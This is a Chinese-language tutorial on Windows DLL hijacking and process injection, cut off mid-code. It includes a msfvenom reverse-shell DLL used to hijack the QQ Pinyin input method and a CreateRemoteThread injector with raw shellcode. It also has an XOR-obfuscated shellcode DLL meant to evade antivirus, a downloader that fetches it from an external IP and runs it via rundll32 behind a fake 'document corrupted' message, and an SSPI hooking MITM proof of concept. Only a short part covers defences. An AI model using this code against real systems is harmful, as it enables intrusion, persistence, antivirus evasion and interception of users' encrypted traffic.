通常情况下程序可以指定在运行时加载的DLL(Dynamic link Library,动态连接库)。不正确或模糊地指定所需DLL的程序可能会打开一个加载了意外DLL的漏洞。当Windows并行(WinSxS)清单对要加载的DLL的特性不够明确时,特别会发生旁加载漏洞。攻击者可能会利用容易受到侧向加载的合法程序来加载恶意DLL。攻击者可能会将这种技术用作掩盖他们在合法,受信任的系统或软件过程中执行的操作的手段。
DLL(Dynamic link Library,动态连接库)文件为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
DLL劫持漏洞翻译成英文叫做DLL Hijacking Vulnerability, CWE将其归类为UntrustedSearch Path Vulnerability。
如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现"劫持"。
动态链接库搜索顺序:DLL加载时,可以通过定义全路径、DLL重定向,以及使用manifest文件来控制加载路私。同时,若以上方式皆未用到,系统会按照特定搜索顺序定位DLL文件。特定搜索顺序包括标准和备用搜索顺序。标准搜索顺序是显示或隐式链接加载DLL时采用的默认方式,当采用显示链接方式LoadLibrary函数加载DLL时,若函数使用了LOAD_WITH_ALTERED_SEARCH_PATH参数,则启用备用搜索顺序。
Windows XP SP2之前:
在Windows XP SP2之前,Windows查找DLL的目录以及对应的顺序如下:
程序所在目录
程序加载目录(SetCurrentDirectory)
系统目录即 SYSTEM32 目录
16位系统目录即 SYSTEM 目录
Windows目录
PATH环境变量中列出的目录
winxdows xp sp2之后:
从Windows XP SP2开始,SafeDllSearchMode默认会被开启。SafeDllSearchMode的开启与否主要影响Current Directory( 当前目录) 在搜索顺序中的位置。开启SafeDllSearchMode后的DLL搜索顺序如下:
进程对应的应用程序所在目录
系统目录( 通过GetSystemDirectory获取)
16位系统目录
Windows目录(通过GetWindowsDirectory获取)
当前目录
PATH环境变量中的各个目录
启用SafeDllSearchMode之后可以防范大部分DLL劫持,如系统DLL劫持。如果进程尝试加载的DLL并不存在,那么进程仍然会尝试去当前目录加载这个DLL,这是 SafeDllSearchMode所无法防范的。不过微软引入了SetDllDirectory 这个 API ,给这个 API 传递一个空字符串就可以将当前目录从 DLL 搜索顺序中排除掉。
windows7以上:
系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用。
Windows操作系统通过"DLL路径搜索目录顺序"和"Know DLLs注册表项"的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。
KnownDLLs注册表项下包含一系列常见的系统dll,如usp10.dll、lpk.dll、shell32.dll、user32.dll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
检查步骤:
启动应用程序
Process Monitor查看该应用程序启动后加载的动态链接库。
从该应用程序已经加载的DLL列表中,查找在上述"KnownDLLs注册表项"中不存在的DLL。
通过msf生成劫持的dll,改成劫持的dll名来测试是否存在劫持。
将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
QQ拼音输入法劫持:
官网最新版本输入法测试
启动程序:
通过观察,发现ntmarta.dll不存在KnownDLLs中,由于开发人员调用这DLL时候没有定义绝对路径,导致DLL搜索,可以直接在搜索到system32之前放入我们要劫持的DLL恶意文件实现劫持
msf生成反弹shell
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.237.165 LPORT=4433 -f dll > ~/Desktop/ntmarta.dll
将ntmarta.dll文件放入
C:\Program Files (x86)\Tencent\QQPinyin\6.4.5804.400\
当用户,输入聊天、切换输入法、重启等操作都会触发dll劫持获得一个Meterpreter会话。
这里可以通过Cobalt Strike 生成ShellCode自己编译dll文件来做到权限维持,这里dll执行shellcode的方式都有上十种来绕过或者无文件落地执行ShellCode,针对钓鱼攻击很有效果。
劫持应用程序的DLL比劫持系统本身的DLL隐蔽性更好,安全软件难以判断这种"劫持行为"。
DLL劫持漏洞微软尚未给出直接的修复方法
这是开发者的失误,换用绝对路径就能避免这个问题
利用的前提是攻击者已经能够在同级目录放置文件,这代表系统已经被攻破
开发人员必须要做更多来保护应用程序自身。开发过程中,调用LoadLibrary,LoadLibraryEx等会进行模块加载操作的函数时,使用模块的物理路径作为参数。在程序调用DLL时使用“白名单”+ “签名”进行DLL的验证。或者在开发应用程序时,在代码开头调用SetDllDirectory函数,把当前目录从DLL的搜索顺序列表中删除,不过这个API只能在打了KB2533623补丁的Windows7,2008上使用。
DLL劫持漏洞本身不算高危漏洞但是如果将此漏洞与其他一些攻击技术进行捆绑组合,危害程度将会大幅提升,比如白利用。
进程注入简而言之就是将代码注入到正在运行的进程内存空间中,进程注入也是PC端软件开发必须掌握的一个基础知识点。
Windows为每个进程分配了4G内存空间,在这4G空间中的代码可以被这个进程访问执行。给软件“打补丁”实际上就是进程注入,想给已经上线的软件添加一个小功能,不需要重新设计软件,只需要将你需要添加功能的代码注入到进程中即可。
也有很多黑客利用进程注入将恶意代码注入到目标进程中进行攻击。
Windows环境下常用的进程注入方法有:CreateRemoteThread、APCInject、SuspendThread、SetWindowHookEX等。
此外还有一种比较奇特的注入方法:反射注入。反射注入主要是通过对PE文件的操作实现注入,注入成功率高,也最有学习价值。
DLL(Dynamic link Library,动态连接库)注入就是将一个DLL放进某个进程的地址空白空间里,让它成为那个进程的一度部分。要实现DLL注入,首先需要打开目标进程。既然问DLL放进了进程地址空间,进程当然改变,而且是通过进程去调用DLL的代码答,原来的进程的功能并不会改变,也不会导致进程不能使专用,如果你要DLL注入后,定时触发一些功能,DLL加载后建立定时的线程即可。
需要了解知识
C/C++ and Assembly
WinAPI
DLLs and DLL Injection
Windows Memory
一个DLL文件可以被多个进程所装载调用。
动态连接库是在EXE运行时被加载执行,静态库连接库是OBJ文件进行连接时同时被保存到程序中。
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
);
hinstDLL该参数是当前DLL模块的句柄
fdwReason该参数表示DllMain()函数被调用的原因。
该参数的取值有4种
DLL_PROCESS_ATTACH
DLL_PROCESS_DETACH
DLL_THREAD_ATTACH
DLL_THREAD_DETACH
lpvReserved保留参数,即不被程序员使用的参数
示例代码:
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK );
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
DllMain()函数不止一次被调用,根据调用的情况不同,需要执行不同的代码,以上写法是可以达到根据不同的调用原因执行不同的代码。
导出函数:
extern "C" _declspec(dllexport) void __cdecl bilibili(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
extern “C”表示该函数以C方式导出,由于源码是.cpp文件,如果按照C++方式导出,会在编译后函数名会被名字粉碎,导致在动态调用该函数时就会极为不方便。
作用是声明一个导出函数,将该函数从本DLL中开放提供给其他模块使用。
动态调用DLL:
#include <windows.h>
typedef VOID(*PFUNMSG)(char *);
int main(int argh, char* argv[])
{
HMODULE hModule = LoadLibrary(“bilibili.dll”);
if( hModule == NULL )
{
MessageBox(NULL,”bilibili.dll文件不存在”,”DLL文件加截失败”,MB_OK);
return -1;
}
PFUNMSG pFunMsg = (PFUNMSG)GetProcAddress(hModule,”MsgBox”);
pFunMsg(“Hello bilibili dll!”);
return 0;
}
静态加载调用使用方便,而动态加载调用灵活性好。
HMODULE LoadLibraryA( LPCSTR lpLibFileName );
只有一个值,即要加载的DLL文件名,该函数调用成功,则反回一个模块句柄。
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
hModule通过LoadLibrary()函数或GetModuleHandle()函数获得;
lpProcName指定要获得函数地址的函数名称。
CFF Explorer查看dll文件信息
远程线程是跨进程的意思,进程A要在进程B中创建一个线程,这就叫远程线程。
DLL远程注入,木马或病毒编写的好坏取决隐藏的程度,而不在于其功能的多少。
DLL的运行不会单独创建一个进程,它的运行被加载到进程的地址空间中。
创建远程线程的函数CreateRemoteThread()
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
hProcess指定进程的句柄
lpStartAddress 指定线程函数的地址
lpParameter 传递给线程函数的参数
如何让线程函数的地址在目标进程中呢?
如何让线程函数的参数也可以传递到目标进程中呢?
如何确定DLL完整路径写入目标进程的哪个地址?
以下摘录自黑客windows API 编程:
可以直接把LoadLibrary()函数作为现成函数创建到指定的进程中。LoadLibrary()的参数是欲加载DLL的完整路径。只要在CreateRemoteThread()函数中赋值一个指向DLL 完整路径的指针给LoadLibrary()函数即可。这样使用CreateRemoteThread()函数就可以创建一个远程线程了。注:LoadLibrary()函数是系统中的Kernel32.dll的导出函数,Kernel32.dll这个DLL文件在任何进程中的加载位置都是相同的,也就是说LoadLibrary()函数的地址在任何进程中的地址也是相同的。因此,只要在进程中获取LoadLibrary()函数的地址只,那么该地址在目标进程中也可以使用。CreateRemoteThread()函数的线程地址参数直接传递给LoadLibrary()函数的地址即可。
实现功能是把lpBuffer中的内容写到进程句柄是hProcess进程的lpBaseAddress地址处,写入长度为nSize使用该函数把DLL文件完整地址写入目标进程中,在目标进程中用LoadLibrary()函数加载指定的DLL文件。
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
hProcess 指定进程的进程句柄、
lpBaseAddress 指定写入目标进程内存的起始地址
lpBuffer 目标缓冲区起始地址
nSize 目标内存了中的缓冲区的长度
lpNumberOfBytesWritten 接收实际写入内容的长度
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
hProcess 指定进程的进程句柄
lpAddress 在目标进程中申请内存的起始地址
flAllocationType 指定早请内存的状态类型
flProtect 指定早请内存的属性
无DLL的代码注入实现
实际场景中的应用:
CreateRemoteThread Shellcode Injection
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c -b \x00\x0a\x0d
执行Shellcode的代码
#include "pch.h"
#include <stdio.h>
#include "Windows.h"
int main(int argc, char *argv[])
{
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x96\x46\x4f\xac\x46\x65\x22\xab\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x6a\x0e\xcc\x48\xb6\x8d"
"\xe2\xab\x96\x46\x0e\xfd\x07\x35\x70\xfa\xc0\x0e\x7e\x7e\x23"
"\x2d\xa9\xf9\xf6\x0e\xc4\xfe\x5e\x2d\xa9\xf9\xb6\x0e\xc4\xde"
"\x16\x2d\x2d\x1c\xdc\x0c\x02\x9d\x8f\x2d\x13\x6b\x3a\x7a\x2e"
"\xd0\x44\x49\x02\xea\x57\x8f\x42\xed\x47\xa4\xc0\x46\xc4\x07"
"\x1e\xe4\xcd\x37\x02\x20\xd4\x7a\x07\xad\x96\xee\xa2\x23\x96"
"\x46\x4f\xe4\xc3\xa5\x56\xcc\xde\x47\x9f\xfc\xcd\x2d\x3a\xef"
"\x1d\x06\x6f\xe5\x47\xb5\xc1\xfd\xde\xb9\x86\xed\xcd\x51\xaa"
"\xe3\x97\x90\x02\x9d\x8f\x2d\x13\x6b\x3a\x07\x8e\x65\x4b\x24"
"\x23\x6a\xae\xa6\x3a\x5d\x0a\x66\x6e\x8f\x9e\x03\x76\x7d\x33"
"\xbd\x7a\xef\x1d\x06\x6b\xe5\x47\xb5\x44\xea\x1d\x4a\x07\xe8"
"\xcd\x25\x3e\xe2\x97\x96\x0e\x27\x42\xed\x6a\xaa\x46\x07\x17"
"\xed\x1e\x3b\x7b\xf1\xd7\x1e\x0e\xf5\x07\x3f\x6a\x28\x7a\x66"
"\x0e\xfe\xb9\x85\x7a\xea\xcf\x1c\x07\x27\x54\x8c\x75\x54\x69"
"\xb9\x12\xe5\xf8\x12\x51\x99\xc9\x75\x7d\xac\x46\x24\x74\xe2"
"\x1f\xa0\x07\x2d\xaa\xc5\x23\xab\x96\x0f\xc6\x49\x0f\xd9\x20"
"\xab\x87\x17\x8f\x04\x45\x37\x63\xff\xdf\xcf\xab\xe0\xcf\x94"
"\x63\x11\xda\x31\x69\xab\xb9\xb0\x6e\x22\x7c\x2e\x4e\xad\x46"
"\x65\x7b\xea\x2c\x6f\xcf\xc7\x46\x9a\xf7\xfb\xc6\x0b\x7e\x65"
"\x0b\x54\xe2\xe3\x69\x86\x07\x25\x84\x2d\xdd\x6b\xde\xcf\x8e"
"\xed\xfc\x8f\x2d\x74\x76\xb9\x9a\xe4\xcf\xa2\x48\xbb\xd7\x1e"
"\x03\x25\xa4\x2d\xab\x52\xd7\xfc\xd6\x09\x32\x04\xdd\x7e\xde"
"\xc7\x8b\xec\x44\x65\x22\xe2\x2e\x25\x22\xc8\x46\x65\x22\xab"
"\x96\x07\x1f\xed\x16\x2d\xab\x49\xc1\x11\x18\xe1\x77\xa5\x48"
"\xa6\xcf\x07\x1f\x4e\xba\x03\xe5\xef\xb2\x12\x4e\xad\x0e\xe8"
"\x66\x8f\x8e\x80\x4f\xc4\x0e\xec\xc4\xfd\xc6\x07\x1f\xed\x16"
"\x24\x72\xe2\x69\x86\x0e\xfc\x0f\x9a\xea\xe6\x1f\x87\x03\x25"
"\x87\x24\x98\xd2\x5a\x79\xc9\x53\x93\x2d\x13\x79\xde\xb9\x85"
"\x27\x48\x24\x98\xa3\x11\x5b\x2f\x53\x93\xde\xd2\x1e\x34\x10"
"\x0e\x16\xe0\xf0\x9f\x36\x69\x93\x07\x2f\x82\x4d\x1e\xad\xea"
"\x4c\xcf\x57\xa6\x10\x27\x10\xd1\x55\x3d\xc3\x2c\x65\x7b\xea"
"\x1f\x9c\xb0\x79\x46\x65\x22\xab";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
总结:
DLL注入工作原理:就是从外部促使目标进程调用LoadLibrary() API,强制调用执行DLL的DllMain()函数。
并且。被注入的DLL拥有目标进程内存的访问权限,用户可以随意操作。
用于改善功能与修复Bug,没有程序对应的源码,或直接修改程序比较困难时,就可以使用DLL注入技术为程序添加新功能。
反射DLL注入是一种允许攻击者从内存而非磁盘向受害进程注入DLL的技术。
执行将通过CreateRemoteThread()或一个很小的引导程序Shellcode传递到库的ReflectiveLoader函数,该函数是在库的导出表中找到的导出函数。
实战某卫星部门攻击手法:
实现一个下载器,下载DLL文件通过Rundll32进行加载
采用了异或解码 shellcode绕过杀软。
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
//#include "Win32Project6.h"
typedef void(_stdcall *CODE)();
// 这是导出变量的一个示例
//WIN32PROJECT6_API int nWin32Project6 = 0;
extern "C" _declspec(dllexport) void __cdecl bilibili(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,
int nCmdShow)
{
CHAR cpu_code[] = "\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21\x06\xbe\x43\x2f\x38\xf6\x38\xc9\xa5\x35\x68\x75\x0b\x25\x29\xc8\xc6\x04\x08\xce\xeb\xf9\x5b\x5e\x82\x5b\x19\x82\x4b\x35\x08\xd9\x82\x49\x71\x8c\xc9\x7d\x43\x08\xd9\x59\x82\x41\x11\x82\x51\x29\x08\xda\xea\x35\x40\x82\x3d\x82\x08\xdf\x38\xf6\x38\xc9\xa5\xc8\xc6\x04\x08\xce\x31\xe9\x7c\xfd\x0a\x74\xf1\x32\x74\x2d\x7c\xeb\x51\x82\x51\x2d\x08\xda\x6f\x82\x05\x42\x82\x51\x15\x08\xda\x82\x0d\x82\x08\xd9\x80\x4d\x2d\x2d\x52\x52\x68\x50\x53\x58\xf6\xe9\x51\x56\x53\x82\x1b\xe2\x8f\x54\x61\x67\x6c\x7d\x09\x61\x7e\x60\x67\x60\x5d\x61\x45\x7e\x2f\x0e\xf6\xdc\x38\xf6\x5e\x5e\x5e\x5e\x5e\x61\x33\x5f\x70\xae\xf6\xdc\xe0\x8d\x09\x09\x09\x52\x38\xc0\x58\x58\x63\x0a\x58\x58\x61\x99\x16\x09\x09\x5a\x59\x61\x5e\x80\x96\xcf\xf6\xdc\xe2\x79\x52\x38\xdb\x5b\x61\x09\x0b\x69\x8d\x5b\x5b\x5b\x5a\x5b\x59\x61\xe2\x5c\x27\x32\xf6\xdc\x80\xcf\x8a\xca\x59\x38\xf6\x5e\x5e\x63\xf6\x5a\x5f\x61\x24\x0f\x11\x72\xf6\xdc\x8c\xc9\x06\x8d\xca\x08\x09\x09\x38\xf6\x8c\xff\x7d\x0d\x80\xf0\xe2\x00\x61\xa3\xcc\xeb\x54\xf6\xdc\x80\xc8\x61\x4c\x28\x57\x38\xf6\xdc\x38\xf6\x5e\x63\x0e\x58\x5f\x59\x61\xbe\x5e\xe9\x02\xf6\xdc\xb6\x09\x26\x09\x09\x30\xce\x7d\xbe\x38\xf6\xe0\x98\x08\x09\x09\xe0\xc0\x08\x09\x09\xe1\x82\xf6\xf6\xf6\x26\x5b\x6f\x62\x30\x09\xa8\xda\x09\x55\x92\x8f\xea\x00\x29\xba\x02\x34\x15\xc1\xb1\x4f\x81\x6b\x07\x34\xa4\xea\xf8\xac\xd9\x1a\x02\x38\xcd\xf0\xd9\x38\x47\x8b\x92\x22\x0c\x84\x0f\xd5\x3b\x8e\x56\x7c\xe7\xe0\x36\x87\xc1\x16\x9b\x6b\x38\xd9\xee\x17\xaf\x00\x52\x0e\xd1\x14\xdd\x91\xb7\x5b\x37\xcb\xd7\x9c\x11\x9b\x2b\x09\x5c\x7a\x6c\x7b\x24\x48\x6e\x6c\x67\x7d\x33\x29\x44\x66\x73\x60\x65\x65\x68\x26\x3c\x27\x39\x29\x21\x6a\x66\x64\x79\x68\x7d\x60\x6b\x65\x6c\x32\x29\x44\x5a\x40\x4c\x29\x30\x27\x39\x32\x29\x5e\x60\x67\x6d\x66\x7e\x7a\x29\x47\x5d\x29\x3f\x27\x38\x32\x29\x5d\x7b\x60\x6d\x6c\x67\x7d\x26\x3c\x27\x39\x32\x29\x4b\x46\x40\x4c\x30\x32\x4c\x47\x51\x48\x20\x04\x03\x09\xf8\xa0\x3c\x4e\xfa\x1a\x3c\xe4\x06\x61\x3f\x85\x23\x68\xac\x34\xf7\xb8\xd6\x8b\x90\x52\x88\xb6\xb9\xdc\x7a\xa0\x25\xc7\xe5\x0c\xde\xd8\x12\x0a\x33\x65\x1f\xf3\x22\x9b\xd5\xa5\xeb\x84\xcd\xf1\x05\xdd\x32\x80\x69\xba\x3c\x40\x4b\x82\xbd\x89\x8f\x46\xba\x7f\x0f\x3b\xcc\x6b\x0b\x92\x33\xa5\x42\xde\xe8\xec\xa7\x46\xea\xc6\x10\x70\x4d\x22\xce\xc8\x78\x39\x49\x3e\x76\xe1\xa4\xa3\xaf\xf2\x57\x65\xfd\xc6\x9d\x55\x44\xe9\xe3\x42\x8f\x47\xeb\x6b\x11\x5f\x73\x4c\x2d\x4e\xb5\xc9\xde\xc8\xeb\x4e\xe3\xaa\x08\xf7\xc4\x93\x39\x21\x83\x96\x8e\x55\xba\x69\xb3\xf0\x13\x67\x79\x5f\x7d\x66\x0e\x80\xa7\x18\x23\x7d\x40\x82\x69\xb5\xe1\x09\x12\xac\x87\x56\x4d\x42\xe2\xe4\x19\x21\xbd\x74\x49\xd4\xab\xf4\xfb\xb2\x65\xe9\x3c\x8e\x56\xee\x67\x45\xc2\xc5\xfd\x59\x02\x0f\x42\xb0\xde\x13\x26\x92\x13\xb4\x2e\xe8\x2b\x2c\x5e\x0c\xcf\x3e\x29\xd8\x44\x9c\x26\x27\x16\x87\xb6\x09\x61\xf9\xbc\xab\x5f\xf6\xdc\x63\x49\x61\x09\x19\x09\x09\x61\x09\x09\x49\x09\x5e\x61\x51\xad\x5a\xec\xf6\xdc\x9a\xb0\x09\x09\x09\x09\x08\xd0\x58\x5a\x80\xee\x5e\x61\x09\x29\x09\x09\x5a\x5f\x61\x1b\x9f\x80\xeb\xf6\xdc\x8c\xc9\x7d\xcf\x82\x0e\x08\xca\x8c\xc9\x7c\xec\x51\xca\xe1\xa0\xf4\xf6\xf6\x38\x3a\x27\x3b\x3c\x39\x27\x38\x38\x3d\x27\x30\x3b\x09\xe3\xf2\xaa\x53";
DWORD dwCodeLength = sizeof(cpu_code);
DWORD dwOldProtect = NULL;
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 9;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 7;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 7;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 5;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 5;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 3;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 3;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 9;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 9;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 9;
}
for (DWORD i = 0; i < dwCodeLength; i++) {
cpu_code[i] ^= 9;
}
PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pCodeSpace != NULL)
{
CopyMemory(pCodeSpace, cpu_code, dwCodeLength);
Sleep(500);
VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect);
CODE coder = (CODE)pCodeSpace;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
}
return;
}
下载器:
#include "pch.h"
#include <Windows.h>
#include <iostream>
#include <UrlMon.h>
#include <errno.h>
#include <ctype.h>
#include <float.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;
HRESULT DownloadFile(PTCHAR URL, PTCHAR File);
static TCHAR URL[] = TEXT("http://13.11.11.92:8000/fsdfsdad.mp4");
static TCHAR SaveFile[MAX_PATH];
static TCHAR FileName[] = TEXT("\\bilibili.dll");
static TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\rundll32.exe");
// 下载文件
HRESULT DownloadFile(PTCHAR URL, PTCHAR File) {
HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL);
return hr;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
ZeroMemory(SaveFile, MAX_PATH);
GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);
lstrcatW(SaveFile, FileName);
if (DownloadFile(URL, SaveFile) != S_OK)
{
//wprintf(TEXT("Error: %d \n"), GetLastError());
MessageBox(NULL, TEXT("文档打开失败,请重新打开!"), TEXT("error !"), MB_ICONWARNING | MB_OK);
return 0;
}
lstrcatW(SaveFile, TEXT(",bilibili"));
TCHAR opt[MAX_PATH];
ZeroMemory(opt, MAX_PATH);
lstrcatW(opt, TEXT(" "));
lstrcatW(opt, SaveFile);
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };
si.cb = sizeof(si);
si.wShowWindow = TRUE;
CreateProcess(
TEXT("C:\\Windows\\System32\\rundll32.exe"),
opt,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
cout << GetLastError() << endl;
MessageBox(NULL, TEXT("文档损坏!"), TEXT("error !"), MB_OK | MB_ICONINFORMATION);
return 0;
}
Mavinject是一个合法的Windows组件,可以在任何正在运行的进程中使用,并执行任意代码注入。由于这是Windows上的一个常见组件,因此可以利用它来执行无人区域的攻击。
可执行文件System32和SysWOW64目录中。
T1055.cpp
#define SECURITY_WIN32 //Define First Before Imports.
#include <windows.h>
#include <stdio.h>
#include <Sspi.h> //Be sure to reference secur32.lib in Linker | Input | Additional Dependencies
FARPROC fpEncryptMessage; //Pointer To The Original Location
BYTE bSavedByte; //Saved Byte Overwritten by 0xCC -
FARPROC fpDecryptMessage; //Pointer To The Original Location
BYTE bSavedByte2; //Saved Byte Overwritten by 0xCC -
// Original Idea/Reference Blog Post Here:
// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108
// PoC by Casey Smith @subTee
// From PowerShell
// mavinject.exe $pid /INJECTRUNNING C:\AtomicTests\AtomicSSLHookx64.dll
// curl https://www.example.com
// Should Hook and Display Request/Response from HTTPS
BOOL WriteMemory(FARPROC fpFunc, LPCBYTE b, SIZE_T size) {
DWORD dwOldProt = 0;
if (VirtualProtect(fpFunc, size, PAGE_EXECUTE_READWRITE, &dwOldProt) == FALSE) {
return FALSE;
}
MoveMemory(fpFunc, b, size);
return VirtualProtect(fpFunc, size, dwOldProt, &dwOldProt);
}
//TODO, Combine HOOK Function To take 2 params. DLL and Function Name.
VOID HookFunction(VOID) {
fpEncryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "EncryptMessage");
if (fpEncryptMessage == NULL) {
return;
}
bSavedByte = *(LPBYTE)fpEncryptMessage;
const BYTE bInt3 = 0xCC;
if (WriteMemory(fpEncryptMessage, &bInt3, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
}
VOID HookFunction2(VOID) {
fpDecryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "DecryptMessage");
if (fpDecryptMessage == NULL) {
return;
}
bSavedByte2 = *(LPBYTE)fpDecryptMessage;
const BYTE bInt3 = 0xCC;
if (WriteMemory(fpDecryptMessage, &bInt3, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
}
SECURITY_STATUS MyEncryptMessage(
PCtxtHandle phContext,
ULONG fQOP,
PSecBufferDesc pMessage,
ULONG MessageSeqNo
)
{
char* buffer = (char*)((DWORD_PTR)(pMessage->pBuffers->pvBuffer) + 0x29); //Just Hardcode for PoC
::MessageBoxA(NULL, buffer, "MITM Intercept", 0);
if (WriteMemory(fpEncryptMessage, &bSavedByte, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
SECURITY_STATUS SEC_EntryRet = EncryptMessage(phContext, fQOP, pMessage, MessageSeqNo);
HookFunction();
return SEC_EntryRet;
}
SECURITY_STATUS MyDecryptMessage(
PCtxtHandle phContext,
PSecBufferDesc pMessage,
ULONG MessageSeqNo,
ULONG fQOP
)
{
if (WriteMemory(fpDecryptMessage, &bSavedByte2, sizeof(BYTE)) == FALSE) {
ExitThread(0);
}
SECURITY_STATUS SEC_EntryRet = DecryptMessage(phContext, pMessage, MessageSeqNo, &fQOP );
char* buffer = (char*)(pMessage->pBuffers->pvBuffer);
::MessageBoxA(NULL, buffer, "MITM Intercept", 0);
HookFunction2();
return SEC_EntryRet;
}
LONG WINAPI
MyVectoredExceptionHandler1(
struct _EXCEPTION_POINTERS *ExceptionInfo
)
{
UNREFERENCED_PARAMETER(ExceptionInfo);
#ifdef _WIN64
if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpEncryptMessage) {
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyEncryptMessage;
}
if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpDecryptMessage) {
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyDecryptMessage;
}
#else
if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpEncryptMessage) {
ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyEncryptMessage;
}
if (ExceptionInfo->ContextRecord->Eip == (DWORD_PTR)fpDecryptMessage) {
ExceptionInfo->ContextRecord->Eip = (DWORD_PTR)MyDecryptMessage;
}
#endif
return EXCEPTION_CONTINUE_SEARCH;
}
BOOL APIENTRY DllMain(HANDLE hInstance, DWORD fdwReason, LPVOID lpReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredExceptionHandler1);
